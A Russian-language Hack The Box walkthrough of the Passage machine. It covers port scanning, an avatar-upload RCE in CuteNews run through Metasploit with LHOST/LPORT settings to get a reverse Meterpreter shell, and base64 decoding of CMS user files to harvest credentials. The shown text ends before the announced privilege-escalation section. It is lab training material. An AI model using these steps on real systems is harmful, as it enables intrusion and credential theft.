HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Закрепление
  • Продвижение
  • Credential Access
  • Ключевые файлы
  • Локальная эскалация привилегий

В этой статье мы прой­дем машину Passage с популяр­ного сер­виса Hack The Box и про­экс­плу­ати­руем уяз­вимость в CMS CuteNews. Заод­но научим­ся добав­лять экс­пло­иты в базу Metasploit Framework, пот­рениру­емся в поис­ке важ­ных для раз­вития ата­ки фай­лов и узна­ем, что такое D-Bus и как повысить при­виле­гии с помощью USBCreator.

Под­клю­чать­ся к лабора­тор­ной машине будем через VPN. Рекомен­дую не под­клю­чать­ся с рабоче­го компь­юте­ра или с хос­та, где есть важ­ные для тебя дан­ные, так как ты попадешь в одну час­тную сеть с людь­ми, которые что‑то да уме­ют в области ИБ. ?

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный в резуль­тате исполь­зования зна­ний и методов, опи­сан­ных в статье.

 

Разведка

 

Сканирование портов

Ма­шина име­ет IP-адрес 10.10.10.206, который я добав­ляю в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.

10.10.10.206 passage.htb

Лю­бая ата­ка начина­ется со ска­ниро­вания откры­тых на хос­те пор­тов. Это необ­ходимо для того, что­бы ата­кующий узнал, какие служ­бы при­нима­ют соеди­нение. Исхо­дя из получен­ной информа­ции, мож­но выбирать путь для получе­ния точ­ки вхо­да и опо­ры. Я это делаю с помощью сле­дующе­го скрип­та, который исполь­зует ути­литу Nmap и при­нима­ет один аргу­мент — адрес ска­ниру­емо­го хос­та.

Сна­чала скрипт исполь­зует Nmap, что­бы сде­лать обыч­ное быс­трое саниро­вание. Затем он пар­сит все пор­ты из вывода и пов­торя­ет ска­ниро­вание толь­ко обна­ружен­ных пор­тов с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

Мы име­ем две служ­бы — SSH (порт 22) и веб‑сер­вер Apache (порт 80). На SSH нам ловить нечего, так как единс­твен­ное, что там мож­но делать, — это брут­форсить учет­ные дан­ные. Брут­форс — пос­леднее дело. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те. Перей­дя на сайт, лег­ко опре­деля­ем сис­тему управле­ния кон­тентом — CMS CuteNews.

Powered by CuteNews 

Точка входа

Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной CMS уже готовые экс­пло­иты. Луч­ший спо­соб это уста­новить — поис­кать на сай­тах вро­де HackerOne, exploit-db, а так­же GitHub. Но если ты исполь­зуешь спе­циаль­ный дис­три­бутив вро­де Kali Linux, то база экс­пло­итов Exploit-DB уже у тебя на дис­ке. Для удоб­ной работы с дан­ной базой мож­но исполь­зовать ути­литу searchsploit, так­же пре­дус­танов­ленную в дис­три­бути­ве. Имен­но с помощью ее мы и находим ряд экс­пло­итов.

searchsploit cutenews

Экс­пло­иты, най­ден­ные searchsploit

Так как мы не зна­ем вер­сию CMS на ата­куемом хос­те, то сле­дует выб­рать экс­пло­ит для более поз­дней (2.1.2). Луч­ше все­го для нас, если отра­бота­ет тот, который даст выпол­нение кода — RCE. Помет­ка Metasploit озна­чает, что этот экс­пло­ит уже выпущен для Metasploit Framework.

Суть экс­плу­ати­руемой уяз­вимос­ти в том, что при изме­нении ава­тар­ки про­филя мы можем заг­рузить не толь­ко изоб­ражение, но и файл с рас­ширени­ем .php. К фай­лу затем мож­но обра­тить­ся, и это при­ведет к выпол­нению на сер­вере кода, содер­жащего­ся в метадан­ных фай­ла‑изоб­ражения.

 

Закрепление

Так как в пос­тавку Metasploit Framework этот экс­пло­ит не вхо­дит, его нуж­но добавить в базу. Для начала получим пол­ный путь к фай­лу экс­пло­ита (опция -p поз­волит сох­ранить пол­ный путь к фай­лу сра­зу в буфер обме­на), а затем копиру­ем в дирек­торию с экс­пло­ита­ми.

До­бав­ление фай­ла экс­пло­ита в Metasploit Framework

Ав­торы допус­тили ошиб­ку: не хва­тает запятой. Откро­ем файл экс­пло­ита и добавим ее, как ука­зано на скрин­шоте ниже.

Ис­прав­ление ошиб­ки в исходном коде экс­пло­ита

В register_options содер­жатся парамет­ры, с которы­ми запус­кает­ся экс­пло­ит. К при­меру, в дан­ном слу­чае нам нуж­но знать путь к базовой дирек­тории CMS, а так­же учет­ные дан­ные поль­зовате­ля.

Па­рамет­ры экс­пло­ита

В качес­тве зна­чения парамет­ра TARGETURI по умол­чанию исполь­зует­ся /CuteNews. Перей­дя к этой стра­нице на сай­те, получим фор­му авто­риза­ции. Нам нуж­но зарегис­три­ровать нового поль­зовате­ля, имен­но его учет­ные дан­ные мы и будем исполь­зовать при запус­ке экс­пло­ита.

Фор­ма авто­риза­ции CuteNews

Те­перь, ког­да мы испра­вили ошиб­ки в экс­пло­ите и получи­ли все необ­ходимые дан­ные для его работы, коман­дой reload_all обно­вим базу Metasploit Framework, что­бы заг­рузить толь­ко что добав­ленный экс­пло­ит.

Об­новле­ние базы Metasploit Framework

Пос­ле успешно­го обновле­ния базы заг­ружа­ем наш экс­пло­ит, зада­ем зна­чения парамет­ров и выпол­няем.

use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run

Под­клю­чение к хос­ту с помощью экс­пло­ита в сре­де Metasploit Framework

В отче­те наб­люда­ем успешные под­клю­чение, авто­риза­цию, заг­рузку фай­ла на сер­вер и запуск наг­рузки, что в ито­ге при­водит нас к шел­лу Meterpreter. Коман­дой getuid про­веря­ем, в кон­тек­сте какого поль­зовате­ля мы работа­ем. В дан­ном слу­чае у нас кон­текст учет­ной записи служ­бы веб‑сер­вера: поль­зователь www-data.

 

Продвижение

 

Credential Access

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет целая CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь поль­зователь­ские учет­ные дан­ные. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей тоже. В слу­чае с CuteNews нас инте­ресу­ет дирек­тория /cdata/users.

Со­дер­жимое дирек­тории /cdata

Здесь дол­жны находить­ся фай­лы users.txt и lines. Как раз вто­рой пред­став­ляет для нас инте­рес.

Со­дер­жимое дирек­тории /cdata/users

Со­дер­жимое фай­ла lines

Текст закоди­рован с помощью Base64. Нем­ного пре­обра­зуем файл: исклю­чим из него все стро­ки, которые содер­жат подс­тро­ку php (это поз­волит оста­вить толь­ко закоди­рован­ные стро­ки), и лег­ко декоди­руем оставши­еся пря­мо в коман­дной стро­ке.

cat lines | grep -v php | base64 -d

Де­коди­рова­ние строк из фай­ла lines

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *